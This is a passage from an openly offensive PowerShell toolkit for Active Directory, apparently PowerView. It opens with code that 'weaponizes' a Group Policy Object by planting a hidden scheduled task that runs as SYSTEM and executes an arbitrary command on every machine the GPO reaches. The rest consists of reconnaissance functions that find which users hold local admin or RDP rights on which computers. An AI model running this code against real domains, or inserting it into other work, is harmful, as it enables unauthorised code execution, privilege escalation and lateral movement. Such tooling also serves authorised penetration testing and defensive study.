AUTHORITY\System</UserId><RunLevel>HighestAvailable</RunLevel><LogonType>S4U</LogonType></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>false</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter><RestartOnFailure><Interval>PT15M</Interval><Count>3</Count></RestartOnFailure></Settings><Actions Context="Author"><Exec><Command>'+$Command+'</Command><Arguments>'+$CommandArguments+'</Arguments></Exec></Actions><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers></Task></Properties></ImmediateTaskV2></ScheduledTasks>'

if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) {

Write-Warning 'Either -GPOName or -GPODisplayName must be specified'

return

}

# eunmerate the specified GPO(s)

$GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential

if(!$GPOs) {

Write-Warning 'No GPO found.'

return

}

$GPOs | ForEach-Object {

$ProcessedGPOName = $\_.Name

try {

Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName"

# map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :(

if($Credential) {

Write-Verbose "Mapping '$($\_.gpcfilesyspath)' to network drive N:\"

$Path = $\_.gpcfilesyspath.TrimEnd('\')

$Net = New-Object -ComObject WScript.Network

$Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password)

$TaskPath = "N:\Machine\Preferences\ScheduledTasks\"

}

else {

$TaskPath = $\_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\"

}

if($Remove) {

if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) {

Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml"

}

if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) {

return

}

Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force

}

else {

if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) {

return

}

# create the folder if it doesn't exist

$Null = New-Item -ItemType Directory -Force -Path $TaskPath

if(Test-Path "$TaskPath\ScheduledTasks.xml") {

Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !"

}

$TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml"

}

if($Credential) {

Write-Verbose "Removing mounted drive at N:\"

$Net = New-Object -ComObject WScript.Network

$Net.RemoveNetworkDrive("N:")

}

}

catch {

Write-Warning "Error for GPO $ProcessedGPOName : $\_"

if($Credential) {

Write-Verbose "Removing mounted drive at N:\"

$Net = New-Object -ComObject WScript.Network

$Net.RemoveNetworkDrive("N:")

}

}

}

}

function Get-NetGPOGroup {

<#

.SYNOPSIS

Returns all GPOs in a domain that set "Restricted Groups" or use groups.xml on on target machines.

Author: @harmj0y

License: BSD 3-Clause

Required Dependencies: Get-NetGPO, Get-GptTmpl, Get-GroupsXML, Convert-NameToSid, Convert-SidToName

Optional Dependencies: None

.DESCRIPTION

First enumerates all GPOs in the current/target domain using Get-NetGPO with passed

arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or

group membership is set through Group Policy Preferences groups.xml files. For any

GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'

section data is processed if present. Any found Groups.xml files are parsed with

Get-GroupsXML and those memberships are returned as well.

.PARAMETER GPOname

The GPO name (GUID) to query for, wildcards accepted.

.PARAMETER DisplayName

The GPO display name to query for, wildcards accepted.

.PARAMETER Domain

The domain to query for GPOs, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ADSpath

The LDAP source to search through for GPOs.

e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"

.PARAMETER ResolveMemberSIDs

Switch. Try to resolve the SIDs of all found group members.

.PARAMETER UsePSDrive

Switch. Mount any found policy files with temporary PSDrives.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.EXAMPLE

PS C:\> Get-NetGPOGroup

Returns all local groups set by GPO along with their members and memberof.

.EXAMPLE

PS C:\> Get-NetGPOGroup -ResolveMemberSIDs

Returns all local groups set by GPO along with their members and memberof,

and resolve any members to their domain SIDs.

.EXAMPLE

PS C:\> Get-NetGPOGroup -GPOName '{0847C615-6C4E-4D45-A064-6001040CC21C}'

Return any GPO-set groups for the GPO with the given name/GUID.

.EXAMPLE

PS C:\> Get-NetGPOGroup -DisplayName 'Desktops'

Return any GPO-set groups for the GPO with the given display name.

.LINK

https://morgansimonsenblog.azurewebsites.net/tag/groups/

#>

[CmdletBinding()]

Param (

[String]

$GPOname = '\*',

[String]

$DisplayName,

[String]

$Domain,

[String]

$DomainController,

[String]

$ADSpath,

[Switch]

$ResolveMemberSIDs,

[Switch]

$UsePSDrive,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200

)

$Option = [System.StringSplitOptions]::RemoveEmptyEntries

# get every GPO from the specified domain with restricted groups set

Get-NetGPO -GPOName $GPOname -DisplayName $DisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object {

$GPOdisplayName = $\_.displayname

$GPOname = $\_.name

$GPOPath = $\_.gpcfilesyspath

$ParseArgs = @{

'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"

'UsePSDrive' = $UsePSDrive

}

# parse the GptTmpl.inf 'Restricted Groups' file if it exists

$Inf = Get-GptTmpl @ParseArgs

if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {

$Memberships = @{}

# group the members/memberof fields for each entry

ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {

$Group, $Relation = $Membership.Key.Split('\_\_', $Option) | ForEach-Object {$\_.Trim()}

# extract out ALL members

$MembershipValue = $Membership.Value | Where-Object {$\_} | ForEach-Object { $\_.Trim('\*') } | Where-Object {$\_}

if($ResolveMemberSIDs) {

# if the resulting member is username and not a SID, attempt to resolve it

$GroupMembers = @()

ForEach($Member in $MembershipValue) {

if($Member -and ($Member.Trim() -ne '')) {

if($Member -notmatch '^S-1-.\*') {

$MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID

if($MemberSID) {

$GroupMembers += $MemberSID

}

else {

$GroupMembers += $Member

}

}

else {

$GroupMembers += $Member

}

}

}

$MembershipValue = $GroupMembers

}

if(-not $Memberships[$Group]) {

$Memberships[$Group] = @{}

}

if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}

$Memberships[$Group].Add($Relation, $MembershipValue)

}

ForEach ($Membership in $Memberships.GetEnumerator()) {

if($Membership -and $Membership.Key -and ($Membership.Key -match '^\\*')) {

# if the SID is already resolved (i.e. begins with \*) try to resolve SID to a name

$GroupSID = $Membership.Key.Trim('\*')

if($GroupSID -and ($GroupSID.Trim() -ne '')) {

$GroupName = Convert-SidToName -SID $GroupSID

}

else {

$GroupName = $False

}

}

else {

$GroupName = $Membership.Key

if($GroupName -and ($GroupName.Trim() -ne '')) {

if($Groupname -match 'Administrators') {

$GroupSID = 'S-1-5-32-544'

}

elseif($Groupname -match 'Remote Desktop') {

$GroupSID = 'S-1-5-32-555'

}

elseif($Groupname -match 'Guests') {

$GroupSID = 'S-1-5-32-546'

}

elseif($GroupName.Trim() -ne '') {

$GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID

}

else {

$GroupSID = $Null

}

}

}

$GPOGroup = New-Object PSObject

$GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName

$GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName

$GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath

$GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'

$GPOGroup | Add-Member Noteproperty 'Filters' $Null

$GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName

$GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID

$GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof

$GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members

$GPOGroup

}

}

$ParseArgs = @{

'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"

'UsePSDrive' = $UsePSDrive

}

Get-GroupsXML @ParseArgs | ForEach-Object {

if($ResolveMemberSIDs) {

$GroupMembers = @()

ForEach($Member in $\_.GroupMembers) {

if($Member -and ($Member.Trim() -ne '')) {

if($Member -notmatch '^S-1-.\*') {

# if the resulting member is username and not a SID, attempt to resolve it

$MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID

if($MemberSID) {

$GroupMembers += $MemberSID

}

else {

$GroupMembers += $Member

}

}

else {

$GroupMembers += $Member

}

}

}

$\_.GroupMembers = $GroupMembers

}

$\_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName

$\_ | Add-Member Noteproperty 'GPOName' $GPOName

$\_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'

$\_

}

}

}

function Find-GPOLocation {

<#

.SYNOPSIS

Enumerates the machines where a specific user/group is a member of a specific

local group, all through GPO correlation.

Author: @harmj0y

License: BSD 3-Clause

Required Dependencies: Get-NetUser, Get-NetGroup, Get-NetGPOGroup, Get-NetOU, Get-NetComputer, Get-ADObject, Get-NetSite

Optional Dependencies: None

.DESCRIPTION

Takes a user/group name and optional domain, and determines the computers in the domain

the user/group has local admin (or RDP) rights to.

It does this by:

1. resolving the user/group to its proper SID

2. enumerating all groups the user/group is a current part of

and extracting all target SIDs to build a target SID list

3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling

Get-NetGPOGroup

4. matching the target SID list to the queried GPO SID list

to enumerate all GPO the user is effectively applied with

5. enumerating all OUs and sites and applicable GPO GUIs are

applied to through gplink enumerating

6. querying for all computers under the given OUs or sites

If no user/group is specified, all user/group -> machine mappings discovered through

GPO relationships are returned.

.PARAMETER UserName

A (single) user name name to query for access.

.PARAMETER GroupName

A (single) group name name to query for access.

.PARAMETER Domain

Optional domain the user exists in for querying, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER LocalGroup

The local group to check access against.

Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),

or a custom local SID. Defaults to local 'Administrators'.

.PARAMETER UsePSDrive

Switch. Mount any found policy files with temporary PSDrives.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.EXAMPLE

PS C:\> Find-GPOLocation

Find all user/group -> machine relationships where the user/group is a member

of the local administrators group on target machines.

.EXAMPLE

PS C:\> Find-GPOLocation -UserName dfm

Find all computers that dfm user has local administrator rights to in

the current domain.

.EXAMPLE

PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local

Find all computers that dfm user has local administrator rights to in

the dev.testlab.local domain.

.EXAMPLE

PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP

Find all computers that jason has local RDP access rights to in the domain.

#>

[CmdletBinding()]

Param (

[String]

$UserName,

[String]

$GroupName,

[String]

$Domain,

[String]

$DomainController,

[String]

$LocalGroup = 'Administrators',

[Switch]

$UsePSDrive,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200

)

if($UserName) {

# if a group name is specified, get that user object so we can extract the target SID

$User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1

$UserSid = $User.objectsid

if(-not $UserSid) {

Throw "User '$UserName' not found!"

}

$TargetSIDs = @($UserSid)

$ObjectSamAccountName = $User.samaccountname

$TargetObject = $UserSid

}

elseif($GroupName) {

# if a group name is specified, get that group object so we can extract the target SID

$Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -First 1

$GroupSid = $Group.objectsid

if(-not $GroupSid) {

Throw "Group '$GroupName' not found!"

}

$TargetSIDs = @($GroupSid)

$ObjectSamAccountName = $Group.samaccountname

$TargetObject = $GroupSid

}

else {

$TargetSIDs = @('\*')

}

# figure out what the SID is of the target local group we're checking for membership in

if($LocalGroup -like "\*Admin\*") {

$TargetLocalSID = 'S-1-5-32-544'

}

elseif ( ($LocalGroup -like "\*RDP\*") -or ($LocalGroup -like "\*Remote\*") ) {

$TargetLocalSID = 'S-1-5-32-555'

}

elseif ($LocalGroup -like "S-1-5-\*") {

$TargetLocalSID = $LocalGroup

}

else {

throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format."

}

# if we're not listing all relationships, use the tokenGroups approach from Get-NetGroup to

# get all effective security SIDs this object is a part of

if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '\*')) {

$TargetSIDs += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids

}

if(-not $TargetSIDs) {

throw "No effective target SIDs!"

}

Write-Verbose "TargetLocalSID: $TargetLocalSID"

Write-Verbose "Effective target SIDs: $TargetSIDs"

$GPOGroupArgs = @{

'Domain' = $Domain

'DomainController' = $DomainController

'UsePSDrive' = $UsePSDrive

'ResolveMemberSIDs' = $True

'PageSize' = $PageSize

}

# enumerate all GPO group mappings for the target domain that involve our target SID set

$GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {

$GPOgroup = $\_

# if the locally set group is what we're looking for, check the GroupMembers ('members')

# for our target SID

if($GPOgroup.GroupSID -match $TargetLocalSID) {

$GPOgroup.GroupMembers | Where-Object {$\_} | ForEach-Object {

if ( ($TargetSIDs[0] -eq '\*') -or ($TargetSIDs -Contains $\_) ) {

$GPOgroup

}

}

}

# if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs

if( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {

if( ($TargetSIDs[0] -eq '\*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) {

$GPOgroup

}

}

} | Sort-Object -Property GPOName -Unique

$GPOgroups | ForEach-Object {

$GPOname = $\_.GPODisplayName

$GPOguid = $\_.GPOName

$GPOPath = $\_.GPOPath

$GPOType = $\_.GPOType

if($\_.GroupMembers) {

$GPOMembers = $\_.GroupMembers

}

else {

$GPOMembers = $\_.GroupSID

}

$Filters = $\_.Filters

if(-not $TargetObject) {

# if the \* wildcard was used, set the ObjectDistName as the GPO member SID set

# so all relationship mappings are output

$TargetObjectSIDs = $GPOMembers

}

else {

$TargetObjectSIDs = $TargetObject

}

# find any OUs that have this GUID applied and then retrieve any computers from the OU

Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object {

if($Filters) {

# filter for computer name/org unit if a filter is specified

# TODO: handle other filters (i.e. OU filters?) again, I hate you GPP...

$OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $\_.ADSpath -FullData -PageSize $PageSize | Where-Object {

$\_.adspath -match ($Filters.Value)

} | ForEach-Object { $\_.dnshostname }

}

else {

$OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $\_.ADSpath -PageSize $PageSize

}

if($OUComputers) {

if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}

ForEach ($TargetSid in $TargetObjectSIDs) {

$Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize

$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype

$GPOLocation = New-Object PSObject

$GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname

$GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname

$GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid

$GPOLocation | Add-Member Noteproperty 'Domain' $Domain

$GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup

$GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname

$GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid

$GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath

$GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType

$GPOLocation | Add-Member Noteproperty 'ContainerName' $\_.distinguishedname

$GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers

$GPOLocation.PSObject.TypeNames.Add('PowerView.GPOLocalGroup')

$GPOLocation

}

}

}

# find any sites that have this GUID applied

Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object {

ForEach ($TargetSid in $TargetObjectSIDs) {

$Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize

$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype

$AppliedSite = New-Object PSObject

$AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname

$AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname

$AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid

$AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup

$AppliedSite | Add-Member Noteproperty 'Domain' $Domain

$AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname

$AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid

$AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath

$AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType

$AppliedSite | Add-Member Noteproperty 'ContainerName' $\_.distinguishedname

$AppliedSite | Add-Member Noteproperty 'ComputerName' $\_.siteobjectbl

$AppliedSite.PSObject.TypeNames.Add('PowerView.GPOLocalGroup')

$AppliedSite

}

}

}

}

function Find-GPOComputerAdmin {

<#

.SYNOPSIS

Takes a computer (or GPO) object and determines what users/groups are in the specified

local group for the machine.

Author: @harmj0y

License: BSD 3-Clause

Required Dependencies: Get-NetComputer, Get-SiteName, Get-NetSite, Get-NetGPOGroup, Get-ADObject, Get-NetGroupMember, Convert-SidToName

Optional Dependencies: None

.DESCRIPTION

If a -ComputerName is specified, retrieve the complete computer object, attempt to

determine the OU the computer is a part of. Then resolve the computer's site name with

Get-SiteName and retrieve all sites object Get-NetSite. For those results, attempt to

enumerate all linked GPOs and associated local group settings with Get-NetGPOGroup. For

each resulting GPO group, resolve the resulting user/group name to a full AD object and

return the results. This will return the domain objects that are members of the specified

-LocalGroup for the given computer.

Inverse of Find-GPOLocation.

.PARAMETER ComputerName

The computer to determine local administrative access to.

.PARAMETER OUName

OU name to determine who has local adminisrtative acess to computers

within it.

.PARAMETER Domain

Optional domain the computer/OU exists in, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER Recurse

Switch. If a returned member is a group, recurse and get all members.

.PARAMETER LocalGroup

The local group to check access against.

Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),

or a custom local SID.

Defaults to local 'Administrators'.

.PARAMETER UsePSDrive

Switch. Mount any found policy files with temporary PSDrives.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.EXAMPLE

PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local

Finds users who have local admin rights over WINDOWS3 through GPO correlation.

.EXAMPLE

PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP

Finds users who have RDP rights over WINDOWS3 through GPO correlation.

#>

[CmdletBinding()]

Param (

[Parameter(ValueFromPipeline=$True)]

[String]

$ComputerName,

[String]

$OUName,

[String]

$Domain,

[String]

$DomainController,

[Switch]

$Recurse,

[String]

$LocalGroup = 'Administrators',

[Switch]

$UsePSDrive,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200

)

process {

if(!$ComputerName -and !$OUName) {

Throw "-ComputerName or -OUName must be provided"

}

$GPOGroups = @()

if($ComputerName) {

$Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize

if(!$Computers) {

throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"

}

$TargetOUs = @()

ForEach($Computer in $Computers) {

# extract all OUs a computer is a part of

$DN = $Computer.distinguishedname

$TargetOUs += $DN.split(",") | ForEach-Object {

if($\_.startswith("OU=")) {

$DN.substring($DN.indexof($\_))

}

}

}

# enumerate any linked GPOs for the computer's site

$ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName

if($ComputerSite -and ($ComputerSite -notlike 'Error\*')) {

$GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {

if($\_.gplink) {

$\_.gplink.split("][") | ForEach-Object {

if ($\_.startswith("LDAP")) {

$\_.split(";")[0]

}

}

}

} | ForEach-Object {

$GPOGroupArgs = @{

'Domain' = $Domain

'DomainController' = $DomainController

'ResolveMemberSIDs' = $True

'UsePSDrive' = $UsePSDrive

'PageSize' = $PageSize

}

# for each GPO link, get any locally set user/group SIDs

Get-NetGPOGroup @GPOGroupArgs

}

}

}

else {

$TargetOUs = @($OUName)

}

Write-Verbose "Target OUs: $TargetOUs"

$TargetOUs | Where-Object {$\_} | ForEach-Object {

$GPOLinks = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $\_ -FullData -PageSize $PageSize | ForEach-Object {

# and then get any GPO links

if($\_.gplink) {

$\_.gplink.split("][") | ForEach-Object {

if ($\_.startswith("LDAP")) {

$\_.split(";")[0]

}

}

}

}

$GPOGroupArgs = @{

'Domain' = $Domain

'DomainController' = $DomainController

'UsePSDrive' = $UsePSDrive

'ResolveMemberSIDs' = $True

'PageSize' = $PageSize

}

# extract GPO groups that are set through any gPlink for this OU

$GPOGroups += Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {

ForEach($GPOLink in $GPOLinks) {

$Name = $\_.GPOName

if($GPOLink -like "\*$Name\*") {

$\_

}

}

}

}

# for each found GPO group, resolve the SIDs of the members

$GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object {

$GPOGroup = $\_

if($GPOGroup.GroupMembers) {

$GPOMembers = $GPOGroup.GroupMembers

}

else {

$GPOMembers = $GPOGroup.GroupSID

}

$GPOMembers | ForEach-Object {

# resolve this SID to a domain object

$Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $\_

$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype

$GPOComputerAdmin = New-Object PSObject

$GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName

$GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname

$GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname

$GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $\_

$GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup

$GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName

$GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName

$GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath

$GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType

$GPOComputerAdmin

# if we're recursing and the current result object is a group

if($Recurse -and $GPOComputerAdmin.isGroup) {

Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $\_ -FullData -Recurse -PageSize $PageSize | ForEach-Object {

$MemberDN = $\_.distinguishedName

# extract the FQDN from the Distinguished Name

$MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'

$MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $\_.samaccounttype

if ($\_.samAccountName) {

# forest users have the samAccountName set

$MemberName = $\_.samAccountName

}

else {

# external trust users have a SID, so convert it

try {

$MemberName = Convert-SidToName $\_.cn

}

catch {

# if there's a problem contacting the domain to resolve the SID

$MemberName = $\_.cn

}

}

$GPOComputerAdmin = New-Object PSObject

$GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName

$GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName

$GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN

$GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $\_.objectsid

$GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGrou

$GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName

$GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName

$GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath

$GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOTypep

$GPOComputerAdmin

}

}

}

}

}

}

function Get-DomainPolicy {

<#

.SYNOPSIS

Returns the default domain or DC policy for a given

domain or domain controller.

Thanks Sean Metacalf (@pyrotek3) for the idea and guidance.

.PARAMETER Source

Extract Domain or DC (domain controller) policies.

.PARAMETER Domain

The domain to query for default policies, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ResolveSids

Switch. Resolve Sids from a DC policy to object names.

.PARAMETER UsePSDrive

Switch. Mount any found policy files with temporary PSDrives.

.EXAMPLE

PS C:\> Get-DomainPolicy

Returns the domain policy for the current domain.

.EXAMPLE

PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local

Returns the policy for the MASTER.testlab.local domain controller.

#>

[CmdletBinding()]

Param (

[String]

[ValidateSet("Domain","DC")]

$Source ="Domain",

[String]

$Domain,

[String]

$DomainController,

[Switch]

$ResolveSids,

[Switch]

$UsePSDrive

)

if($Source -eq "Domain") {

# query the given domain for the default domain policy object

$GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{31B2F340-016D-11D2-945F-00C04FB984F9}"

if($GPO) {

# grab the GptTmpl.inf file and parse it

$GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"

$ParseArgs = @{

'GptTmplPath' = $GptTmplPath

'UsePSDrive' = $UsePSDrive

}

# parse the GptTmpl.inf

Get-GptTmpl @ParseArgs

}

}

elseif($Source -eq "DC") {

# query the given domain/dc for the default domain controller policy object

$GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{6AC1786C-016F-11D2-945F-00C04FB984F9}"

if($GPO) {

# grab the GptTmpl.inf file and parse it

$GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"

$ParseArgs = @{

'GptTmplPath' = $GptTmplPath

'UsePSDrive' = $UsePSDrive

}

# parse the GptTmpl.inf

Get-GptTmpl @ParseArgs | ForEach-Object {

if($ResolveSids) {

# if we're resolving sids in PrivilegeRights to names

$Policy = New-Object PSObject

$\_.psobject.properties | ForEach-Object {

if( $\_.Name -eq 'PrivilegeRights') {

$PrivilegeRights = New-Object PSObject

# for every nested SID member of PrivilegeRights, try to unpack everything and resolve the SIDs as appropriate

$\_.Value.psobject.properties | ForEach-Object {

$Sids = $\_.Value | ForEach-Object {

try {

if($\_ -isnot [System.Array]) {

Convert-SidToName $\_

}

else {

$\_ | ForEach-Object { Convert-SidToName $\_ }

}

}

catch {

Write-Verbose "Error resolving SID : $\_"

}

}

$PrivilegeRights | Add-Member Noteproperty $\_.Name $Sids

}

$Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights

}

else {

$Policy | Add-Member Noteproperty $\_.Name $\_.Value

}

}

$Policy

}

else { $\_ }

}

}

}

}

########################################################

#

# Functions that enumerate a single host, either through

# WinNT, WMI, remote registry, or API calls

# (with PSReflect).

#

########################################################

function Get-NetLocalGroup {

<#

.SYNOPSIS

Gets a list of all current users in a specified local group,

or returns the names of all local groups with -ListGroups.

.PARAMETER ComputerName

The hostname or IP to query for local group users.

.PARAMETER ComputerFile

File of hostnames/IPs to query for local group users.

.PARAMETER GroupName

The local group name to query for users. If not given, it defaults to "Administrators"

.PARAMETER ListGroups

Switch. List all the local groups instead of their members.

Old Get-NetLocalGroups functionality.

.PARAMETER Recurse

Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.

.PARAMETER API

Switch. Use API calls instead of the WinNT service provider. Less information,

but the results are faster.

.EXAMPLE

PS C:\> Get-NetLocalGroup

Returns the usernames that of members of localgroup "Administrators" on the local host.

.EXAMPLE

PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP

Returns all the local administrator accounts for WINDOWSXP

.EXAMPLE

PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse

Returns all effective local/domain users/groups that can access WINDOWS7 with

local administrative privileges.

.EXAMPLE

PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups

